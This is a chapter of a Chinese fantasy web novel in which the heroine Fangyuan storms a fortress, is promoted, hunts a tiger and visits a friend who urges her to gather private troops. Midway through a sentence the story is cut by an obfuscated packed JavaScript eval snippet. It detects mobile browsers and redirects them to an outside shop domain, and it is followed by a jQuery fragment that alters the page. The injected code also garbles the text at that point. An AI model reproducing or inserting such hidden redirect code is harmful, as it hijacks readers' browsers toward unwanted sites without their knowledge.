诗曰:
碎星尘粒聚八方,
拂鉴拭镜焕微光。
微光渺渺燃荒莽,
烈焰熊熊映昊苍。
从容举步青云上,
尘事萦怀暗自茫。
幸得益友相点拨,
雾霭消澄心骤朗。
话说方圆领兵荡除北山匪寨,引大军凯旋。未几,安普自外归营。原来她奉操尹密嘱,暗访近郊豪强,查察暗藏势力,防备有人私蓄部曲、暗通贼寇。公事了结,当即传令,召方圆前来。
安普早已听闻北山一战详情,暗自估量方圆本领。此番相见,一来核实剿匪功劳,二来心下盘算:眼下四方暗流涌动,如此一员猛将,大可重用。
彼时方圆踏入大帐,躬身正要禀明战事,安普先抬手止住,言道:“我已知你得胜回营,无需多叙。你独闯山寨,枭除贼首,扫平北山匪患,功绩卓著。今赏你锦缎两匹,美酒十坛,牛羊肉食;另赐精制皮甲一副,环首宝刀一口。凡随同出战部众,一概赏给钱粮肉食,准许今日营中置酒庆贺。”
方圆叉手唱喏:“多谢将军厚赏。”
安普道:“我会将你的战绩上报操尹,你且勤勉办事。”
方圆再行称谢。安普又道:“如今擢升的机会已然到来。近日我暗访近郊,探知崔家坞堡豪强私蓄甲兵,收纳亡命殀修,屡次暗通贼寇,隐患不小。我命你统领麾下部曲,前往崔氏坞堡查勘。勒令崔当家交出私藏军械,亲至营中回话。倘若对方恃堡拒命,你便可相机行事,擒获首恶,休教元凶走脱。此事办妥,两份功勋并举,升迁便不远了。”
方圆抱拳高声道:“属下遵令,定不辱使命!”
及至步出大帐,方圆先支取赏给的酒肉,当即召集麾下众姊妹,前往伙帐空地,命人陈设酒食,众人席地围坐,一同宴饮。
方圆举杯道:“诸位随我长途奔走,踏万水千山,闯无数险关。你我虽未抵足同眠,却是过命之交。往后但凡有我一口吃食,便绝不会叫诸位姊妹忍饥受困!”言讫,一饮而尽。
众人齐齐举杯,高声应道:“誓死追随队头!”说罢,一同仰首饮尽杯中烈酒。鸡鸭牛羊罗列席前,觥筹交错,众人把酒言欢,好不畅快。有诗为证:
天高地远意飞扬,
虾兵蟹将聚一堂。
烹鸡煮鸭炙牛羊,
大块膏肉列案旁。
莫道身微无长技,
休随浮世空奔忙。
幸结金兰姊妹义,
满面春风焕曙光。
及至宴饮散去,一众姊妹兴致未消,畅快难言。别队兵卒遥遥望见,心下艳羡,个个懊悔。
原来方圆察知追风颇有才干,早将筛选、管束部曲的差事一并交付于她。追风起初推辞道:“队头,这般不妥,只怕招来许多闲话。”
方圆道:“你平日常劝我,不必计较男子短浅见识,怎临到自身,反倒这般厷厷嗲嗲,全无义气?须知虚名于我辈,不过浮云而已!”
追风方才惶恐领命,自此愈发恪尽职守。她着手整顿麾下,把一众心怀异念的男卒调拨出去,只留下矢心相随的人。
不少男卒心中愤懑不甘,转入别队之后,暗中戏称她“小队头”,时常三三两两聚在一处私语:“她有何本事?这臭马面,不过凭着伶牙俐齿博取信任而已!”
追风屡屡听闻这些闲言,知晓她们只非议自己,并无一言冒犯方圆,于是全然置之度外,充耳不闻。此番纷争,暂且歇了。
不多日,方圆整饬部曲,备齐兵刃干粮,即日奔赴崔氏坞堡。临行之前,她向众姊妹言道:“此番一战凶险莫测,难免有性命之虞。倘若身体不适,或乃家中独子,尽可留下,不必同往。”
众人齐声高呼:“愿随队头前行!纵有千难万险,我等亦无所畏惧!”
方圆道:“甚好!我等即刻出发!”言讫,大队人马向着近郊进发。路途迢遥,众人风餐露宿,栉风沐雨,日夜兼程。有诗为证:
荆丛棘林遇樵妇,
荒沼寒陂逢渔夫。
途人尽道关山远,
甲士征途步履殊。
野风呼啸穿岩窟,
骤雨横飞溅泥途。
披坚执锐齐迈步,
雌怀壮志赴远图。
崔氏坞堡居于辋川谷北口黄土塬之上。大军迤逦赶路,行至十里之外,恰逢月黑风高。方圆令众人就地歇宿一夜,次日清晨,引兵直抵堡下辕门。
方圆立于门外,身畔牛、马二妖侍立,她手捧公文,向瞭望台朗声大喝:“我奉操尹政令,前来查勘坞堡,点验甲仗!速速启门,休得迁延!倘若闭门拒命,便是抗拒府中公令,罪责难逃!”
城头哨兵望见外部大军排布整齐,心底惊慌,连忙下堡传讯。片刻之间,崔坞主登临望台,朝下扬声说道:“不知长官领兵至此,有失远迎!此堡乃是崔氏私宅庄园,不知有何公干?”
麾下一山雉,生性耿直口快,素无曲讳。往日营中,屡因直言刚勇为诸队所抑,无人赏识。独方圆见其血性,常赞曰:“此辈果敢刚烈,甚是难得,久未见如此胆气者。”
山雉心怀知遇之恩,最是敬服方圆。此时见崔坞主踞台推诿,顿时按捺不住,抢步上前,厉声喝道:“我家队头已然分明晓谕!手持京兆府公文,奉公令前来巡察坞堡、核验军械!你若兀自闭门负隅、推拒不从,便是抗逆官府政令、触犯地界律法!休得巧言支吾,速速开启辕门,听我等查验!”
崔坞主面色一沉,厉声高答:“无端统兵围困私堡,只凭片言只语便欲入庄搜检,天下焉有此理!我崔氏向来安分守业,未尝作歼犯科,堡中亦无半件违禁军械。汝等欲入堡查验,须持京兆尹亲笔手谕为凭!若无御令,休想踏我辕门半步!”
方圆将牒文高高扬起,朗声喝道:“牒文钤有官印,便是京兆府公令!不必再索亲笔手谕。趁早开辕门受检,尚可无事;若执意闭门抗拒,我即刻勒兵围困此堡!”
崔坞主冷笑:“无京兆尹手谕,多说无益!”
方圆面色寒彻,号令众人排布阵形,封锁出入要道。“好!既然如此,我便围困此地。待到消息传至京兆府,届时再来问你阻遏公令之罪!”
话音未落,城头数支箭矢骤然破空射出,直取阵前士卒。众人连忙躲闪,一支箭镞擦着山雉肩头掠过。
方圆横眉立目,高声喝道:“堡内竟敢擅放箭矢,袭杀官兵!此便是公然对抗官府!众人听令,预备攻城!”
众兵听得号令,齐声轰然应答,气势震天。方圆厉声大喝:“布阵!冲锋!”
军令既出,众人结成盾阵,抬梯奋勇抢攻而上。城头箭雨纷飞,滚木礌石纷纷坠落。兵士高擎藤牌遮护身形,冒死直冲堡墙,搭起云梯争相攀援。上下喊杀震天,金铁交鸣,尘土漫掩塬野,有词为证:
镗锣军号惊雷响。箭若飞蝗,盾阵齐开张。云梯倚壁凌空上,木石崩摧攻势狂。
银戟铜戈争列场。尘蔽塬梁,锏鞭映金枪。剑往刀来相逐抗,两山鏖战鼓音扬。
几番冲杀,城头守备甚是严密,登梯甲士屡被长戈逼落。山雉悍不畏死,厉声大呼,沿梯疾冲,拼死翻上堡墙,舞动兵刃横扫,逼退近旁一众庄丁。堡上防线顿开一道缺口,众人望见,士气大振,争相攀梯跟进,源源不断涌入坞堡之中。
崔坞主见堡上缺口大开,情势危急,厉声喝道:“老大、老二、老幺,速速杀出!”
一语方毕,三道黑影自堡墙纵身跃下,直撞入兵卒丛中,顷刻掀翻数人。三妖站稳身形,众人方才看清,乃是一山豹、一貉犬、一巨蚺。
方圆望见堡上诸敌分头杀出,扬声传令:“那山豹交由我来应付!追风去擒狗貉,八百里牵制长虫!”
二人领得号令,更不答话,骤地冲杀上前。方圆凭空掣出长枪,厉声怒喝:“皆是尔等自寻祸端,休怪我兵刃无情!”说着,一枪搠翻拦路喽啰,纵身直取山豹要害。
山豹怎料她身手这般迅疾,急忙偏首躲闪,终究慢了半拍,右耳登时被枪尖洞穿。方圆催动灵力,枪头腾起烈焰,反手横挥,火龙腾空,直扑山豹面门,逼得他连连倒退。
方圆厉声喝道:“尔等身负勇力,何处不能安身,偏要追随此作歼之徒同流合污!今日我便荡除尔等罪愆!”她陡然奋臂一掷,长枪破空飞射,正中山豹眉心,径直将头颅搠透。
城头众人望见老大转瞬殒命,全无招架之力,一时惊惧不已。一名喽啰战战兢兢上前:“坞、坞主!此人恐是顶尖大能!”
崔坞主额间渗汗,他不似寻常山寇鲁莽,心知万万不敌,暗自忖度:“留得青山在,不愁没柴烧。不知此人究竟是何方高手,勇武竟至这般地步!”
眼见山豹身死,堡墙又被大军突入,崔坞主自知大势已去,遂高声喊道:“恳请大人罢战!崔某甘愿归降!”
山雉正与蜥妖缠斗,那蜥妖听得呼声,微微一怔。山雉抓住空隙,挥朴刀径直将其斩杀,旋身厉声斥道:“狗贼!早知今日,何必当初!”
方圆跨步上前,踏住山豹尸首,掣回长枪,仰面朝着城头大喝:“既欲归降,速教庄丁抛却兵刃,大开堡门!若敢枉生诡计,定不饶恕!”
崔坞主不敢迟疑,连忙传令庄丁弃械开门。众虜见势难抗衡,只得抛下兵器,束手就缚。方圆分兵守住堡中各处要隘,率众入内搜查,搜出大批私藏甲仗器械,拘押崔坞主一众首恶,留兵驻守坞堡。诸事料理妥当,便领着人马拔营,回转蓝桥谷营寨复命。
待到大军归寨,满营士卒尽皆骇然。众人屈指盘算,除去往返路途,攻坚并未耗费多时。须知崔家坞堡据塬固守,防备周全,又有数员猛妖坐镇,原以为定要苦斗数日,怎料方圆一军甫一交锋,便大破堡防,迫得坞主献降。消息传遍营中,众兵听得,无不侧目心惊。
彼时方圆进帐复命,细说破堡战事。安普听罢,颔首赞许:“此番一战破堡,荡除顽梗,你与麾下众人劳苦功高。速取库中酒肉、钱帛,犒赏所有出力士卒。人犯、军械严加看管,静候操尹政令下达。”
方圆躬身谢过,随后大排筵席,把所得钱帛尽数分赏麾下众人。众兵纷纷言道:“队头休要如此!全凭队头威势赫赫,方才震慑住那伙顽寇!”
方圆却不甚在意,慨然说道:“若无诸位奋力相扶,单凭我一人,不过区区一介武妇而已!”
不数日,操利文书送达营寨。安普展阅过后,对着方圆缓缓道:“操尹有令,你平定坞堡,功绩卓著,今破格擢升为牙将,与我一同镇守蓝桥谷营寨。执掌一队兵马,好生行事,莫负此番拔擢。”
方圆躬身行礼:“末将谨记吩咐,不敢懈怠。”
安普缓缓开口:“如今你我职位相当,私下相见,只管唤我安普便可。”
方圆从善如流:“既然如此,多谢安普。”
消息一经传开,满营士卒哗然。军中常例,队头之上尚有副队将、正队将,层层迁转,方能升至牙将。只是京兆尹操利爱惜奇才,远近皆知,众人心中纵有疑虑,不敢公然非议,只得暂且作罢。
再说方圆,虽身居营中牙将,地位显赫,却毫无骄矜自满之态,举止一如往日。麾下士卒看在眼里,心中越发敬服。安普与方圆职级相当,日常军务常一同处置,彼此渐渐相熟。
这一日军务稍闲,安普对方圆言道:“我当初一路走来,境遇与你颇有几分相似。”
方圆闻言,拱手道:“愿闻其详。”
安普轻叹一声,心生感怀:“我并非关中人士,亦非中州之民,更不在九州疆域之内。我的家乡,雅言称作密昔儿,地处坤方戈壁之国。故国连年战火,分崩离析,我无处安身,只得万里辗转,一路东来。初入九州,我在楼兰栖身数十载,方才慢慢通晓雅言。后来行至雍州,只能靠长街作场谋生,机缘之下,□□尹赏识提拔。那时候她尚为牙将,我只是一名寻常兵卒,几番磨难挣扎,才有今日地位。”
方圆暗自忖道:“我一向疑惑她来自何方,口音怪异,往日只知其名,无有姓氏表字,今日听闻此言,诸事豁然明朗。”继而对安普说道:“真想不到有这般往事。昔日操尹拔擢于你,如今你举荐我,正是薪火相传。若非昔日的你,何来今日的我。”
二人职级等同,皆为牙将。只因安普在营日久,营内大小日常事务,仍旧由她统筹料理。方圆手握兵权,倒得了不少闲暇。她细细斟酌,开出一份名单,意欲举荐追风、八百里等人,随即缮写文书呈递操尹。未几文书批复抵达,几人顺理成章出任队头。
众人听得消息,齐齐跪倒,叉手慷慨道:“我等从军以来,只盼苟全性命,不殒于锋刃之下,哪里敢枉想官身!蒙将军拔擢,便是再造之恩,末将永世不忘!”
方圆将日常巡防、缉捕贼寇诸事,一概交予
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17876751|212389||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
属下料理。可逢匪患伏击、攻坚硬仗,依旧亲自出征,每每一骑当先。春去秋来,盛名播于八方。
长安郊外远近之人无不传言,蓝田关南出了一位活阎王。帐下牛头马面骁猛敢战,部曲好似阴兵,悍不畏死;这阎王更是身先赴敌,出手凌厉,所向难挡。久而久之,各路窃贼、山寇尽皆闻风丧胆,收敛行迹。四海看似一派清宁。
转眼中秋将至,方圆心念挚友,遂向安普告假,前去相会。
安普本是万里飘零之人,对此心境深有共鸣,开口说道:“近来多亏有你,我方才得以安闲。你只管从容赴约,营中诸事有我坐镇,不必匆匆折返。”
方圆道:“有劳安普。”言罢回转帐中,命人备下两坛醇酒、新蒸秋糕,收拾妥当了行囊,一路迤逦向北而行。
行至半途山道,忽闻一声虎啸震彻林谷。方圆暗自忖道:“常言道七月流火,九月授衣,如今秋风渐紧,日渐寒凉,正需备置寒衣。万九原是世族人家,只因我开罪楚江侯,舍弃家园随我流离。这般浊酒粗糕,终究寻常。不若猎此猛虎,剥取虎皮,与她裁作裘裳!”说罢,循着啸声飞身入林。
穿过丛丛灌木,拨开层层荒草,陡然间一头吊睛猛虎猛扑而出,轰然落于平地,旋过身躯,与方圆两两对视。方圆凝目细看这头大虫,端的是:
厚背雌躯毛灿黄,
爪牙森森冽冷光。
玄纹深邃如幽壑,
膀阔腰粗丈余长。
鞭尾扫尘狂风荡,
双瞳凛凛起寒芒。
昂首引颈鸣霹雳,
八方走兽尽潜藏。
方圆喟叹:“好一头雌健大虫!多有冒犯,我定然叫你死得痛快,不遭零碎苦楚!”说罢,躬身合手。
猛虎厉声长啸,震得林中枝叶簌簌抖落,随即张开血盆大口,扑将过来。方圆倾身闪避,掣出长弓,登时拽满弓弦瞄准。还不曾放箭,猛虎猛地折转身躯,铁尾挟风横扫。方圆慌忙收弓跳开。虎尾凌空一扫,重重击中松树,树皮片片崩裂,四散飞扬。
方圆赞叹一声:“好生雌浑气力!”恰逢猛虎舞动利爪,再度猛扑而来。她立时扣弦发箭,箭矢破空疾飞,径直刺入虎目眼窝,箭镞深陷兽头之内,并未贯穿而出。猛虎中箭,庞大身躯自半空轰然坠落,僵卧在地。
她快步上前检视,伸手抚过虎毛,再度合手告罪。仔细拔出箭镞,将猛虎收进乾坤袋中,随即催动轻功,径直朝田庄疾赶。
阔别许久,恰逢金秋时节,田庄处处一派欣欣向荣。先前一路疾驰奔至庄外,方圆渐渐放缓脚步,自庄前旷场徐徐走向厅堂,沿途风物繁盛,有诗为证:
新杨古槐萦蔓藤,
田家收罢罢农耕。
粟米豆菽摊平野,
阡陌纵横岁稔登。
落英渐稀黄菊盛,
霜叶流丹桂色橙。
金风送爽凝清露,
中秋佳景聚良人。
顾风鹏此刻正在庄内,指点虜从整治中秋筵席。忽闻有人唤她,心中猛地一惊,循声远望,只见友人远远向着她招手。
方圆高声喊道:“万九!我得闲回来了!”
顾风鹏怔在原地。方圆见此,三两步飞步上前,与她四目相对,爽朗言道:“万九,许久未见!”
顾风鹏尚未来得及开口,骤然上前一步,将她搂入怀中,叹道:“寸中,你竟回来了!”
相拥半晌,二人方才松开。方圆笑道:“万九,我如今出息了,已是营中牙将。此番获准休沐,特地赶来与你相聚过节!”
顾风鹏道:“不过短短数月,你便建功立业至此!原也是常理,你本当扶摇直上,大展拳脚。”
方圆道:“我携来几坛浊酒、些许秋糕,心知庄中不缺这类物件,未免显得单薄。行路途中撞见一头大虫,思量天气转冷,你需添置寒衣,便寻得破绽将它猎下。”说罢,方圆自乾坤袋中取出诸物一一陈列,又将猛虎身躯平铺在地。
顾风鹏一掌拍在她肩峰,说道:“真难为你这般用心!”说罢屈身细看猛虎,见一身皮毛完整无半点伤损,心中十分诧异。大略巡看一周,方才发觉是箭入眼窝、一击殒命。她骤然转过身来,对着方圆言道:“寸中箭术超群,真真了不得,称得上百步穿杨!”
方圆笑道:“不过手熟尔!这般下手,剥出的虎皮方能完整。”
顾风鹏命虜从料理虎尸,备办筵席。自引方圆步入厅堂,闲话片刻,方圆开口道:“如今寰宇清宁,四方渐定,我心中反倒踌躇,不知前路当作何谋划。”
这般言语若是落入旁人耳中,必生诸多猜疑。顾风鹏非寻常之人,乃是方圆知己,深知她胸中抱负;出身世胄,亦洞见太平光景下暗藏的祸乱根由。她缓缓开口:“寸中须知,山野草寇无根无援,任凭剿除,无人为之说项。若是触动一众官吏与世家豪强,情势便大不一样。世家权贵一如百年老树,远望巍峨耸立,树心早已朽败。纵然内里弊病丛生,也只肯暗中隐忍遮瞒,绝不将丑事公之于众。”
方圆闻言沉吟良久,郁郁道:“这般论来,我断不可苟安守旧,须挣下一番基业。如今隶属操尹麾下,处处束手,难以大展拳脚。倘若贸然与官吏豪强作对,必授人以柄,招人猜忌提防。难道我当初投奔军营,竟是一步错棋?”
顾风鹏道:“寸中此言差矣!倘若当日不入军营,你并无本钱与人争锋。想要闯出一番基业,势必与一众官爵为敌。岂不闻前朝英雌揭竿举义?你只需暗中积蓄兵力,笼络人心。欲建伟业,难免和昔日故旧翻脸,甚者刀兵相向。实不相瞒,我亦通晓武艺,蓄有私部。一旦事起,我自可与你里应外合。”
方圆闻言茅塞顿开,攥住顾风鹏双手,朗声说道:“好姊妹!倘若没有你,我竟不知何去何从!世间再寻不出你这般周全可靠的知己!”
顾风鹏道:“不过逞些口舌功夫,这有甚么难处!”
二人又闲谈半晌,酉时将至,夜宴齐备,携手步入饭堂。并不分设两席,美酒珍馐共列一桌,不拘俗世繁文,畅叙心怀,好不尽兴,有诗为证:
熏鹅野鸽肥雉香,
腊麂炙豚嫩羔羊。
糟鱼烧肉汁醇厚,
柿饼石榴甜羹汤。
山菌清鲜藕脆爽,
粟饭剔透莹玉光。
举杯欢叙庆重逢,
前路可期来日长。